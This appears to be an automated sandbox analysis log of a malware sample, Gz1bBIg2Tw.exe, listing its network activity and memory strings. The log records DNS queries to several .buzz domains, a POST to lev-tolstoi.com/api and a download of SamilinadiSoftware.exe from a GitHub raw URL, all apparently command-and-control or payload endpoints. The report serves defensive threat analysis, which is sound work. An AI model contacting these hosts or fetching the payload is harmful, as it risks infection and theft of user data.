Source: global traffic	HTTP traffic detected: GET /DLMKER/biden/refs/heads/main/SamilinadiSoftware.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: raw.githubusercontent.com

Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: hummskitnj.buzz
Source: global traffic	DNS traffic detected: DNS query: prisonyfork.buzz
Source: global traffic	DNS traffic detected: DNS query: rebuildeso.buzz
Source: global traffic	DNS traffic detected: DNS query: scentniej.buzz
Source: global traffic	DNS traffic detected: DNS query: inherineau.buzz
Source: global traffic	DNS traffic detected: DNS query: screwamusresz.buzz
Source: global traffic	DNS traffic detected: DNS query: appliacnesot.buzz
Source: global traffic	DNS traffic detected: DNS query: cashfuzysao.buzz
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3795576715.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3795576715.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3795576715.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3795576715.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3795576715.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3795576715.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3795576715.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3795576715.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3795576715.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DF6000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DF6000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DF6000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3795576715.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3795576715.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3715478428.00000000030DC000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3715553295.00000000030D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://appliacnesot.buzz:443/api6
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3797449988.00000000030A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3797449988.00000000030A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3715478428.00000000030DC000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3715553295.00000000030D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3715478428.00000000030DC000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3715553295.00000000030D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3715478428.00000000030DC000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3715553295.00000000030D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DF6000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3797449988.00000000030A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3797449988.00000000030A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3715478428.00000000030DC000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3715553295.00000000030D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3715478428.00000000030DC000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3715553295.00000000030D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3715478428.00000000030DC000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3715553295.00000000030D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3952221877.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
